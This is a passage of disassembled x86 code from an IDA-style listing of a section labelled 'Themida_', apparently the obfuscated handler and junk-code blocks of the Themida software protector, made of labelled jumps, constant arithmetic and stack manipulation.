; ---------------------------------------------------------------------------
loc_558D06: ; CODE XREF: Themida_:00559552j
push esp
pop ebx
push eax
jmp loc_557B85
; ---------------------------------------------------------------------------
loc_558D0E: ; CODE XREF: Themida_:00552232j
mov [esp], ecx
mov ecx, 60665DD5h
push ebp
mov ebp, 4CDA6CF1h
jmp loc_55AD76
; ---------------------------------------------------------------------------
loc_558D21: ; CODE XREF: Themida_:00553DDFj
xchg edx, [esp]
jmp loc_551EF9
; ---------------------------------------------------------------------------
loc_558D29: ; CODE XREF: Themida_:0055243Bj
push ebp
mov ebp, 29377D6Eh
shl ebp, 3
xor ebp, 1C84482Fh
xor ebp, 553FA35Bh
add ecx, ebp
pop ebp
jmp loc_558177
; ---------------------------------------------------------------------------
loc_558D46: ; CODE XREF: Themida_:005509C3j
pop esp
push 630Bh
jmp loc_54F958
; ---------------------------------------------------------------------------
loc_558D51: ; CODE XREF: Themida_:00558674j
pop esp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edx
mov edx, esp
push ebx
jmp loc_556544
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_54FBBF
; ---------------------------------------------------------------------------
loc_558D70: ; CODE XREF: Themida_:00557880j
pop edi
add esi, 9109C8B8h
shl esi, 4
jmp loc_555EB5
; ---------------------------------------------------------------------------
loc_558D7F: ; CODE XREF: Themida_:005528D4j
sub edx, 5A33326Ch
pop ebx
sub edx, eax
push eax
mov eax, 21D21061h
neg eax
add eax, 883768B2h
jmp loc_556165
; ---------------------------------------------------------------------------
loc_558D9A: ; CODE XREF: Themida_:00558B61j
or edi, 3AC3353Dh
jmp loc_553D5C
; ---------------------------------------------------------------------------
loc_558DA5: ; CODE XREF: Themida_:0055AB68j
pop ebx
jmp loc_557C96
; ---------------------------------------------------------------------------
loc_558DAB: ; CODE XREF: Themida_:00557B18j
pop eax
pop dword ptr [esp]
mov esp, [esp]
jmp loc_557039
; ---------------------------------------------------------------------------
loc_558DB7: ; CODE XREF: Themida_:005538C0j
xor ebp, edx
pop edx
jmp loc_5569ED
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5520AE
; ---------------------------------------------------------------------------
loc_558DC8: ; CODE XREF: Themida_:00558E41j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558DCD: ; CODE XREF: Themida_:00557537j
add edx, 0F7F8FFF2h
add ebx, edx
mov edx, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
cmp cl, al
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558DEC: ; CODE XREF: Themida_:00554DD0j
pop edi
push eax
jmp loc_55B1D0
; ---------------------------------------------------------------------------
loc_558DF3: ; CODE XREF: Themida_:0054FB00j
mov esi, esp
jmp loc_550E94
; ---------------------------------------------------------------------------
loc_558DFA: ; CODE XREF: Themida_:005517F6j
mov [esp], eax
push ebx
mov bl, dl
mov ah, bl
pop ebx
mov bh, ah
pop eax
dec bh
mov dl, bh
jmp loc_5512A8
; ---------------------------------------------------------------------------
loc_558E0F: ; CODE XREF: Themida_:005581CAj
xor ch, al
xor al, ch
jmp loc_559D3B
; ---------------------------------------------------------------------------
loc_558E18: ; CODE XREF: Themida_:00552EB5j
push bx
push 6E03h
mov [esp], ecx
jmp loc_5583AA
; ---------------------------------------------------------------------------
loc_558E27: ; CODE XREF: Themida_:00555790j
inc ebx
neg ebx
xor ebx, 0AEF2F893h
sub eax, ebx
pop ebx
jmp loc_551893
; ---------------------------------------------------------------------------
loc_558E38: ; CODE XREF: Themida_:005527A4j
pop eax
jmp loc_5557A7
; ---------------------------------------------------------------------------
loc_558E3E: ; CODE XREF: Themida_:00551A6Bj
mov esp, [esp]
jmp loc_558DC8
; ---------------------------------------------------------------------------
loc_558E46: ; CODE XREF: Themida_:005553AFj
add esp, 4
pop edx
jmp loc_55AE10
; ---------------------------------------------------------------------------
loc_558E4F: ; CODE XREF: Themida_:005543E2j
not ebp
not ebp
shr ebp, 5
xor ebp, 75DD014Ah
sub ebx, 465218C6h
jmp loc_553B1F
; ---------------------------------------------------------------------------
loc_558E67: ; CODE XREF: Themida_:00559CC6j
pop edi
xor eax, edx
push dword ptr [esp]
pop edx
add esp, 4
push eax
jmp loc_550C72
; ---------------------------------------------------------------------------
loc_558E77: ; CODE XREF: Themida_:0055AF5Bj
mov edx, [esp]
jmp loc_5518CB
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_552350
; ---------------------------------------------------------------------------
loc_558E8F: ; CODE XREF: Themida_:0055526Fj
mov ebx, [esp]
add esp, 4
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558E9A: ; CODE XREF: Themida_:00550159j
sub edi, eax
pop eax
xchg edi, [esp]
pop esp
mov [esp], cx
mov cl, 0B7h
xor al, cl
mov cx, [esp]
jmp loc_556F69
; ---------------------------------------------------------------------------
loc_558EB2: ; CODE XREF: Themida_:00554DDAj
pop dword ptr [esp]
pop esp
jmp loc_5538A1
; ---------------------------------------------------------------------------
loc_558EBB: ; CODE XREF: Themida_:00550AA3j
add dword ptr [esp], 4
mov esi, [esp]
jmp loc_55AC32
; ---------------------------------------------------------------------------
loc_558EC7: ; CODE XREF: Themida_:00550F9Dj
add esp, 4
sub esp, 4
mov [esp], edi
jmp loc_551D09
; ---------------------------------------------------------------------------
loc_558ED5: ; CODE XREF: Themida_:0054FE59j
mov esp, [esp]
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_559B33
; ---------------------------------------------------------------------------
loc_558EEB: ; CODE XREF: Themida_:0055142Bj
mov esi, esp
push edx
mov edx, 19042A79h
jmp loc_5555D6
; ---------------------------------------------------------------------------
loc_558EF8: ; CODE XREF: Themida_:00559EF7j
sub ebx, 210151h
jmp loc_556B40
; ---------------------------------------------------------------------------
db 66h
dd 56240C8Bh, 2434FF54h, 6768505Eh, 0E900003Dh, 0FFFFC932h
; ---------------------------------------------------------------------------
loc_558F18: ; CODE XREF: Themida_:00555D4Dj
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push ebp
mov ebp, esp
add ebp, 4
push 1B82h
mov [esp], ebx
mov ebx, 566F11A5h
neg ebx
shr ebx, 7
and ebx, 12C75195h
push eax
mov eax, 354959F7h
and ebx, eax
pop eax
sub ebx, offset sub_410190
add ebp, 5F1406CAh
jmp loc_54EC42
; ---------------------------------------------------------------------------
loc_558F5D: ; CODE XREF: Themida_:0055AFA9j
push ebx
mov ebx, 3D6400F3h
jmp loc_559536
; ---------------------------------------------------------------------------
loc_558F68: ; CODE XREF: Themida_:00551FD4j
or edx, 4DA15257h
jmp loc_558381
; ---------------------------------------------------------------------------
loc_558F73: ; CODE XREF: Themida_:00553F9Aj
add ecx, edi
jmp loc_553751
; ---------------------------------------------------------------------------
loc_558F7A: ; CODE XREF: Themida_:005506F0j
push 1F25082h
pop edx
shl edx, 3
push ebp
mov ebp, 3F6518F6h
dec ebp
shl ebp, 7
jmp loc_5566CC
; ---------------------------------------------------------------------------
loc_558F92: ; CODE XREF: Themida_:00556581j
mov esi, 556121A8h
jmp loc_55AB1C
; ---------------------------------------------------------------------------
loc_558F9C: ; CODE XREF: Themida_:00556C56j
add ecx, esi
jmp loc_55A7C9
; ---------------------------------------------------------------------------
loc_558FA3: ; CODE XREF: Themida_:00555E43j
or edi, 30895B62h
not edi
jmp loc_5506F5
; ---------------------------------------------------------------------------
loc_558FB0: ; CODE XREF: Themida_:00551ACFj
sub edx, 0EF6BA96Dh
add ebp, 521B437Eh
add ebp, edx
sub ebp, 521B437Eh
mov edx, [esp]
push ebx
jmp loc_54EEE1
; ---------------------------------------------------------------------------
loc_558FCD: ; CODE XREF: Themida_:00553112j
push ebp
mov ebp, 11D379ABh
mov esi, ebp
pop ebp
and esi, 13FE496Eh
xor esi, 1BEF1C4Dh
inc esi
add esi, 0F5C2AA9Ah
mov ebx, esi
pop esi
add eax, ebx
pop ebx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559006: ; CODE XREF: Themida_:005561ECj
not edi
xor edi, 5E6366FDh
dec edi
jmp loc_552A65
; ---------------------------------------------------------------------------
loc_559014: ; CODE XREF: Themida_:00553C74j
mov [esp], ebx
mov ebx, esp
jmp loc_5539C7
; ---------------------------------------------------------------------------
loc_55901E: ; CODE XREF: Themida_:0055053Fj
add edi, 4
push ecx
mov ecx, 4
sub edi, ecx
pop ecx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
push ebx
mov ebx, 2
add edi, 4FE218F5h
jmp loc_552F1E
; ---------------------------------------------------------------------------
loc_559058: ; CODE XREF: Themida_:0054FFDEj
add ecx, esi
pop esi
xchg ecx, [esp]
pop esp
xor ebx, eax
movzx ax, byte ptr [eax]
jmp loc_54FC54
; ---------------------------------------------------------------------------
loc_55906A: ; CODE XREF: Themida_:00555A6Bj
pop ecx
sub bl, dh
mov edx, [esp]
add esp, 4
jmp loc_5516E6
; ---------------------------------------------------------------------------
loc_55907B: ; CODE XREF: Themida_:00553530j
pop esp
xor [esp], eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559085: ; CODE XREF: Themida_:00551720j
push esi
mov esi, esp
add esi, 4
jmp loc_552758
; ---------------------------------------------------------------------------
loc_559093: ; CODE XREF: Themida_:00557ED1j
push esi
mov esi, 384E2E96h
sub esi, 18F40237h
inc esi
push ebx
mov ebx, 1F5A2C5Ch
sub esi, ebx
mov ebx, [esp]
add esp, 4
add eax, esi
pop esi
xchg eax, [esp]
mov esp, [esp]
add edi, 4
add edi, 2
xor edi, [esp]
jmp loc_54EE41
; ---------------------------------------------------------------------------
loc_5590C8: ; CODE XREF: Themida_:0054EF7Dj
mov [esp], ebx
mov bh, 0A1h
push ecx
mov ch, bh
mov dh, ch
pop ecx
pop ebx
jmp loc_55499C
; ---------------------------------------------------------------------------
loc_5590D9: ; CODE XREF: Themida_:005567F8j
mov edx, [esp]
add esp, 4
push edx
mov dh, 0B5h
xor dh, 0D2h
sub bl, dh
pop edx
add bl, al
push ax
jmp loc_54F105
; ---------------------------------------------------------------------------
loc_5590F4: ; CODE XREF: Themida_:00556922j
mov [esp], esi
push ebx
jmp loc_554977
; ---------------------------------------------------------------------------
loc_5590FD: ; CODE XREF: Themida_:0054FF1Dj
pop ebp
push eax
sub esp, 4
jmp loc_5599DD
; ---------------------------------------------------------------------------
loc_55910A: ; CODE XREF: Themida_:0054F9EAj
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
jmp loc_550A9B
; ---------------------------------------------------------------------------
push 227Fh
jmp loc_554E4A
; ---------------------------------------------------------------------------
loc_559123: ; CODE XREF: Themida_:00552AECj
push 2F20h
mov [esp], eax
push 18CCh
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ebp
mov ebp, 41AA4816h
inc ebp
xor ebp, 41AA4813h
add eax, ebp
jmp loc_55148A
; ---------------------------------------------------------------------------
loc_55914C: ; CODE XREF: Themida_:0055AEB8j
shl edi, 6
add edi, 6E1225E1h
push 7A5h
mov [esp], edx
mov edx, 633E2110h
sub edx, 0C65E9FB3h
sub edi, edx
jmp loc_54F35C
; ---------------------------------------------------------------------------
loc_55916F: ; CODE XREF: Themida_:00559DF7j
mov ecx, 0FCDC5743h
add edx, 66F75B41h
sub edx, 1C60260Fh
sub edx, ecx
jmp loc_552A40
; ---------------------------------------------------------------------------
loc_559187: ; CODE XREF: Themida_:005537F4j
xor esi, ebp
jmp loc_54FFDD
; ---------------------------------------------------------------------------
loc_55918E: ; CODE XREF: Themida_:005555BCj
add eax, edi
jmp loc_55B093
; ---------------------------------------------------------------------------
loc_559195: ; CODE XREF: Themida_:0055634Fj
pop eax
push 7596h
mov [esp], ecx
push esp
pop ecx
add ecx, 4
jmp $+5
push 1D57h
jmp loc_558236
; ---------------------------------------------------------------------------
loc_5591B5: ; CODE XREF: Themida_:0055A277j
add ecx, ebx
sub ecx, 21162888h
pop ebx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_554432
; ---------------------------------------------------------------------------
loc_5591CC: ; CODE XREF: Themida_:00554CADj
push dword ptr [esp]
pop ebp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add ebp, 4
push ecx
jmp loc_55987A
; ---------------------------------------------------------------------------
loc_5591EC: ; CODE XREF: Themida_:00558077j
xchg ebp, [esp]
jmp loc_5527C7
; ---------------------------------------------------------------------------
loc_5591F4: ; CODE XREF: Themida_:005511C8j
mov edi, 0BC337F9h
inc edi
inc edi
jmp loc_5575A3
; ---------------------------------------------------------------------------
loc_559200: ; CODE XREF: Themida_:005547F1j
xchg esi, ebx
pop esi
inc ebx
jmp loc_556C5B
; ---------------------------------------------------------------------------
loc_559209: ; CODE XREF: Themida_:005563DFj
mov esi, 0BC61057h
add edx, esi
pop esi
add edx, ebp
jmp loc_552A06
; ---------------------------------------------------------------------------
loc_559218: ; CODE XREF: Themida_:00559D67j
pop edi
jmp loc_558BCA
; ---------------------------------------------------------------------------
loc_55921E: ; CODE XREF: Themida_:005597E0j
pop esi
push edi
jmp loc_5561A8
; ---------------------------------------------------------------------------
loc_559225: ; CODE XREF: Themida_:00554C7Aj
add eax, edx
pop edx
jmp loc_558CC8
; ---------------------------------------------------------------------------
loc_55922D: ; CODE XREF: Themida_:0054EBB5j
add edx, 4
add edx, 4
jmp loc_552537
; ---------------------------------------------------------------------------
loc_55923B: ; CODE XREF: Themida_:0055628Cj
push esi
jmp loc_55621D
; ---------------------------------------------------------------------------
loc_559241: ; CODE XREF: Themida_:00554F9Cj
pop eax
add eax, 4
push ebp
mov ebp, 6D486293h
jmp loc_55823E
; ---------------------------------------------------------------------------
loc_559252: ; CODE XREF: Themida_:00559531j
add esp, 4
sub ecx, 7EA90ABDh
sub ecx, eax
add ecx, 7EA90ABDh
pop eax
push ecx
sub dword ptr [esp], 1
pop ecx
sub ecx, 47011DA2h
push ecx
mov ecx, 0A475605h
jmp loc_55292F
; ---------------------------------------------------------------------------
loc_559281: ; CODE XREF: Themida_:00555770j
pop eax
pop edx
sub esp, 4
mov [esp], edi
mov edi, 7D3B2CEFh
jmp loc_554441
; ---------------------------------------------------------------------------
loc_559296: ; CODE XREF: Themida_:00552171j
; Themida_:00555F95j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_556D18
; ---------------------------------------------------------------------------
loc_5592A7: ; CODE XREF: Themida_:00558A73j
pop dx
push ecx
mov ch, 63h
push edx
mov dl, 65h
sub esp, 2
mov [esp], bx
push eax
mov al, 8Ch
mov bl, 0C6h
sub bl, al
pop eax
sub dl, bl
pop bx
shr dl, 6
jmp loc_557A9C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_554E7A
; ---------------------------------------------------------------------------
loc_5592DC: ; CODE XREF: Themida_:0055166Aj
sub ecx, ebx
pop ebx
mov [edi+24h], ecx
pop ecx
xor edx, edx
push 420Ah
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
jmp loc_5501CD
; ---------------------------------------------------------------------------
loc_5592F8: ; CODE XREF: Themida_:00553D04j
add esi, edx
pop edx
push 7EC2h
mov [esp], ebp
push 55A3h
jmp loc_553F36
; ---------------------------------------------------------------------------
lodsb
push dx
mov dh, 0B7h
jmp loc_559557
; ---------------------------------------------------------------------------
loc_559317: ; CODE XREF: Themida_:005569E8j
xor ebp, 3E6964FBh
add eax, ebp
jmp loc_55AF03
; ---------------------------------------------------------------------------
loc_559324: ; CODE XREF: Themida_:005520A9j
xor edi, [esp]
mov esp, [esp]
or edx, eax
shl edx, 1
push edx
mov edx, 1
jmp loc_5586D8
; ---------------------------------------------------------------------------
loc_559339: ; CODE XREF: Themida_:00551873j
mov edx, 18AC104Eh
jmp loc_555133
; ---------------------------------------------------------------------------
loc_559343: ; CODE XREF: Themida_:00550B48j
mov esi, 7C200556h
xor esi, 6F003852h
jmp loc_54FEDB
; ---------------------------------------------------------------------------
lodsd
push 6C67h
mov [esp], ebx
push 28716106h
pop ebx
not ebx
sub ebx, 0A5697FEEh
sub eax, ebx
pop ebx
sub eax, 157367A2h
sub eax, 5ADE74D2h
sub eax, 8863E2Bh
sub eax, ebx
add eax, 8863E2Bh
add eax, 5ADE74D2h
add eax, 157367A2h
push edx
push 67092316h
pop edx
push ecx
mov ecx, 2315203Ch
shr ecx, 1
dec ecx
jmp loc_55AB04
; ---------------------------------------------------------------------------
loc_5593A2: ; CODE XREF: Themida_:00553D88j
push edx
mov edx, 460A427Bh
jmp loc_558273
; ---------------------------------------------------------------------------
loc_5593AD: ; CODE XREF: Themida_:00550E56j
push eax
mov eax, 2
jmp loc_556C3A
; ---------------------------------------------------------------------------
loc_5593B8: ; CODE XREF: Themida_:00555443j
xor ebp, [esp]
mov esp, [esp]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5593C3: ; CODE XREF: Themida_:00559FFAj
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_54EBC3
; ---------------------------------------------------------------------------
loc_5593D5: ; CODE XREF: Themida_:0055A16Ej
push 2CE6h
mov [esp], edi
sub esp, 4
mov [esp], esi
jmp loc_54FCF5
; ---------------------------------------------------------------------------
loc_5593E8: ; CODE XREF: Themida_:00551485j
add ebp, edx
pop edx
xchg ebp, [esp]
pop esp
idiv cx
push small 6238h
mov [esp], dx
push ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559402: ; CODE XREF: Themida_:00550CDFj
pop esp
mov [esp], eax
push 4D0A6C7Eh
pop eax
inc eax
jmp loc_552BD1
; ---------------------------------------------------------------------------
loc_559412: ; CODE XREF: Themida_:00555A5Ej
mov eax, esp
push edx
mov edx, 42E92D34h
push esi
mov esi, 51BB3DB4h
add edx, esi
pop esi
and edx, 30013392h
sub edx, 1000227Ch
jmp loc_5502D7
; ---------------------------------------------------------------------------
loc_559434: ; CODE XREF: Themida_:0055AE6Dj
sub eax, 62640508h
push ebx
mov ebx, 5CC42D1Dh
inc ebx
inc ebx
neg ebx
push esi
mov esi, 3C387ACBh
and ebx, esi
pop esi
push edi
mov edi, 0B85673D7h
add ebx, edi
pop edi
add eax, ebx
pop ebx
push edi
mov edi, 12F04247h
shr edi, 1
xor edi, 47116105h
jmp loc_55785B
; ---------------------------------------------------------------------------
loc_55946B: ; CODE XREF: Themida_:00556BDBj
sub ecx, 5735106Ah
add ecx, esi
add ecx, 5735106Ah
pop esi
xchg ecx, [esp]
pop esp
jmp loc_5551A5
; ---------------------------------------------------------------------------
loc_559483: ; CODE XREF: Themida_:005573A6j
add eax, 599A2A90h
add eax, ebp
sub eax, 599A2A90h
pop ebp
jmp loc_553B5B
; ---------------------------------------------------------------------------
loc_559495: ; CODE XREF: Themida_:00551525j
xor ecx, 6AAC4A60h
mov edi, ecx
jmp loc_55AEB7
; ---------------------------------------------------------------------------
loc_5594A2: ; CODE XREF: Themida_:0055127Dj
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5506DC
; ---------------------------------------------------------------------------
loc_5594B1: ; CODE XREF: Themida_:00556D44j
mov esp, [esp]
add [esp], ax
pushf
jmp loc_552155
; ---------------------------------------------------------------------------
loc_5594BE: ; CODE XREF: Themida_:005564D6j
xor ebx, 19937834h
jmp loc_55B161
; ---------------------------------------------------------------------------
loc_5594C9: ; CODE XREF: Themida_:00551457j
push esp
pop ebp
push eax
mov eax, 4
jmp loc_5550D1
; ---------------------------------------------------------------------------
loc_5594D6: ; CODE XREF: Themida_:005550AEj
or ebx, ebp
pop ebp
and ebx, 22BD5E29h
shr ebx, 6
neg ebx
add ebx, 40F86E7Bh
xor ebx, 6743772h
jmp loc_554E5A
; ---------------------------------------------------------------------------
loc_5594F5: ; CODE XREF: Themida_:0055970Cj
pop edx
mov dl, 57h
sub dl, 90h
sub dl, cl
add dl, 90h
pop ecx
add al, dl
pop dx
jmp loc_5568CD
; ---------------------------------------------------------------------------
loc_55950A: ; CODE XREF: Themida_:00552C3Aj
sub edx, 27286650h
add edx, edi
add edx, 27286650h
jmp loc_54EDBD
; ---------------------------------------------------------------------------
loc_55951D: ; CODE XREF: Themida_:0054F6E0j
sub edi, 1446B017h
add esi, edi
pop edi
jmp loc_558B7D
; ---------------------------------------------------------------------------
loc_55952B: ; CODE XREF: Themida_:005559D5j
pop ebx
mov eax, ecx
mov ecx, [esp]
jmp loc_559252
; ---------------------------------------------------------------------------
loc_559536: ; CODE XREF: Themida_:00558F63j
add edx, ebx
mov ebx, [esp]
push ebp
push esp
pop ebp
add ebp, 4
push edi
jmp loc_559B23
; ---------------------------------------------------------------------------
loc_55954A: ; CODE XREF: Themida_:0054EFABj
push 36C3h
mov [esp], ebx
jmp loc_558D06
; ---------------------------------------------------------------------------
loc_559557: ; CODE XREF: Themida_:00559312j
add al, 0D7h
sub al, dh
jmp loc_54FEFA
; ---------------------------------------------------------------------------
loc_559560: ; CODE XREF: Themida_:0055632Bj
push esi
mov esi, 1F9C426Bh
and esi, 7C1E0D8Fh
xor esi, 6A70460Fh
sub ebx, esi
pop esi
add ebx, eax
jmp loc_5568FB
; ---------------------------------------------------------------------------
loc_55957C: ; CODE XREF: Themida_:00559F3Cj
sub bl, dl
add bl, 0CAh
sub bl, 13h
mov edx, [esp]
add esp, 4
sub bl, 60h
jmp loc_55017B
; ---------------------------------------------------------------------------
loc_559592: ; CODE XREF: Themida_:0055556Dj
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559597: ; CODE XREF: Themida_:0054F56Cj
or edi, ecx
jmp loc_5514CD
; ---------------------------------------------------------------------------
loc_55959E: ; CODE XREF: Themida_:0055855Cj
add edi, 4
xchg edi, [esp]
pop esp
add esp, 4
xor eax, 1952077Bh
push ecx
mov ecx, 22024922h
jmp loc_5518F2
; ---------------------------------------------------------------------------
loc_5595BB: ; CODE XREF: Themida_:00554F4Bj
xor ecx, ebx
pop ebx
jmp loc_551005
; ---------------------------------------------------------------------------
loc_5595C3: ; CODE XREF: Themida_:00552CA8j
add esp, 4
or [edi+1Ch], ebx
push dword ptr [esp]
jmp loc_556A49
; ---------------------------------------------------------------------------
loc_5595D1: ; CODE XREF: Themida_:0055AE63j
mov ah, 89h
push eax
mov ah, 0E2h
sub dl, ah
pop eax
sub dl, ah
add dl, 0E2h
jmp loc_555237
; ---------------------------------------------------------------------------
loc_5595E3: ; CODE XREF: Themida_:00559B78j
mov [esp], edx
mov edx, 2
add ebx, edx
pop edx
xor ebx, [esp]
xor [esp], ebx
jmp loc_55A785
; ---------------------------------------------------------------------------
loc_5595F9: ; CODE XREF: Themida_:00558A90j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5595FE: ; CODE XREF: Themida_:0055037Aj
mov fs:[edx], al
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559606: ; CODE XREF: Themida_:005518B6j
sub ecx, 0EBA5EE79h
add eax, ecx
jmp loc_55510A
; ---------------------------------------------------------------------------
loc_559613: ; CODE XREF: Themida_:0055453Fj
not dword ptr [esp]
pop eax
dec eax
jmp loc_553A5D
; ---------------------------------------------------------------------------
loc_55961D: ; CODE XREF: Themida_:0055AD8Fj
push 355B1E3Fh
jmp loc_54F4BD
; ---------------------------------------------------------------------------
loc_559627: ; CODE XREF: Themida_:0054F4DFj
add bh, 4Ah
jmp loc_54F571
; ---------------------------------------------------------------------------
loc_55962F: ; CODE XREF: Themida_:00558463j
add eax, edi
pop edi
push ecx
mov ecx, 274A0599h
jmp loc_5546FA
; ---------------------------------------------------------------------------
loc_55963D: ; CODE XREF: Themida_:00556C4Bj
mov ebx, 11AA0842h
xor ebx, 33CE1160h
dec ebx
add ebx, 667D0EF3h
neg ebx
xor ebx, 2F6495CBh
jmp loc_550A7B
; ---------------------------------------------------------------------------
loc_55965C: ; CODE XREF: Themida_:00551404j
and dh, 0D0h
xor dh, 0EEh
xor dh, 76h
mov ah, dh
pop edx
jmp loc_55AB6D
; ---------------------------------------------------------------------------
loc_55966D: ; CODE XREF: Themida_:00551D3Cj
xor ebp, 1C3551F0h
shr ebp, 2
push edx
mov edx, 577C52ACh
and edx, 0EFF3818h
jmp loc_554A66
; ---------------------------------------------------------------------------
loc_559687: ; CODE XREF: Themida_:0055A71Ej
pop edx
add esp, 4
push 523Ch
jmp loc_5581B4
; ---------------------------------------------------------------------------
loc_559695: ; CODE XREF: Themida_:005541B3j
xchg ebx, [esp]
pop esp
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 2
xchg esi, [esp]
pop esp
jmp loc_559ECE
; ---------------------------------------------------------------------------
loc_5596B3: ; CODE XREF: Themida_:0055AD7Cj
inc ebp
add ebp, 731D1425h
and ebp, 3AE53E40h
not ebp
add ebp, 1764342Dh
and ecx, ebp
pop ebp
push esi
mov esi, 76C628FCh
or esi, 6BB5270Dh
not esi
shl esi, 6
push ecx
jmp loc_557CF1
; ---------------------------------------------------------------------------
loc_5596E2: ; CODE XREF: Themida_:00550D89j
neg eax
dec eax
xor eax, 8A174CC6h
jmp loc_554C93
; ---------------------------------------------------------------------------
loc_5596EF: ; CODE XREF: Themida_:00553EEAj
add esp, 4
jmp loc_55A31F
; ---------------------------------------------------------------------------
loc_5596F7: ; CODE XREF: Themida_:00557B54j
add eax, ecx
jmp loc_5558D9
; ---------------------------------------------------------------------------
loc_5596FE: ; CODE XREF: Themida_:00556D93j
sub esp, 4
jmp loc_54F7D7
; ---------------------------------------------------------------------------
loc_559706: ; CODE XREF: Themida_:0054FC8Dj
push ecx
push edx
mov dl, 6Bh
mov cl, dl
jmp loc_5594F5
; ---------------------------------------------------------------------------
loc_559711: ; CODE XREF: Themida_:0055A31Aj
pop edx
jmp loc_554490
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push edx
jmp loc_551777
; ---------------------------------------------------------------------------
loc_559720: ; CODE XREF: Themida_:005520BCj
mov ebx, 4
add eax, ebx
pop ebx
jmp loc_54EA89
; ---------------------------------------------------------------------------
loc_55972D: ; CODE XREF: Themida_:00553192j
mov ecx, 2
add edi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push edi
push dword ptr [esp+4]
jmp loc_556DD9
; ---------------------------------------------------------------------------
loc_559748: ; CODE XREF: Themida_:00555465j
push edx
mov edx, 0
mov ebx, edx
pop edx
sub ebx, 1D9A5AC8h
push ebp
mov ebp, 30AC01CDh
shr ebp, 1
and ebp, 2B83389h
sub ebp, 67174401h
shl ebp, 7
xor ebp, 208525E2h
jmp loc_557E1B
; ---------------------------------------------------------------------------
loc_559779: ; CODE XREF: Themida_:0055512Ej
pop esp
jmp loc_554240
; ---------------------------------------------------------------------------
loc_55977F: ; CODE XREF: Themida_:00559AA5j
add ch, 7Dh
add ch, bl
sub ch, 7Dh
pop ebx
add ch, 0CFh
jmp loc_55A3D2
; ---------------------------------------------------------------------------
loc_559790: ; CODE XREF: Themida_:00558A1Dj
pop eax
neg edx
xor edx, 4A501F0Bh
push ebp
mov ebp, 7E133C78h
sub edx, 170457D7h
add edx, ebp
jmp loc_5579B4
; ---------------------------------------------------------------------------
loc_5597AC: ; CODE XREF: Themida_:0055549Ej
mov eax, edx
jmp loc_55336C
; ---------------------------------------------------------------------------
loc_5597B3: ; CODE XREF: Themida_:005583F1j
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 4
add eax, edx
pop edx
push esi
mov esi, 2
add eax, 4B723C25h
add eax, esi
sub eax, 4B723C25h
push dword ptr [esp]
jmp loc_55921E
; ---------------------------------------------------------------------------
loc_5597E5: ; CODE XREF: Themida_:005579AFj
pop ecx
add ebp, eax
push dword ptr [esp]
pop eax
add esp, 4
add ebp, 2
push 33BFh
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
cmp cx, ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_559817: ; CODE XREF: Themida_:0055A82Fj
sub edx, 0E9C360Eh
mov ecx, [esp]
jmp loc_5571CE
; ---------------------------------------------------------------------------
loc_559825: ; CODE XREF: Themida_:005558B1j
sub al, dl
mov edx, [esp]
jmp loc_551689
; ---------------------------------------------------------------------------
loc_55982F: ; CODE XREF: Themida_:0054F27Bj
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
sub esp, 4
mov [esp], edx
mov edx, 2
add edi, edx
pop edx
jmp loc_54F268
; ---------------------------------------------------------------------------
loc_559856: ; CODE XREF: Themida_:00553B06j
pop ebx
add ebx, 782E1DE1h
mov ecx, ebx
jmp loc_557AB5
; ---------------------------------------------------------------------------
loc_559864: ; CODE XREF: Themida_:0054FD69j
pop ebp
add ebp, 406574E1h
pop edx
add ebx, ebp
pop ebp
add ebx, 4
jmp loc_559995
; ---------------------------------------------------------------------------
loc_55987A: ; CODE XREF: Themida_:005591E7j
mov ecx, 2
add ebp, ecx
pop ecx
sub esp, 4
jmp loc_559BFE
; ---------------------------------------------------------------------------
loc_55988A: ; CODE XREF: Themida_:00552BC6j
mov ebx, esp
jmp loc_5528D9
; ---------------------------------------------------------------------------
loc_559891: ; CODE XREF: Themida_:00553F14j
pop ecx
pop ebx
add ebx, 4
push ecx
jmp loc_54F5B0
; ---------------------------------------------------------------------------
loc_55989F: ; CODE XREF: Themida_:005572E9j
sub dword ptr [esp+4], 14CC38DAh
sub dword ptr [esp+4], 55B54BC8h
add [esp+4], ebx
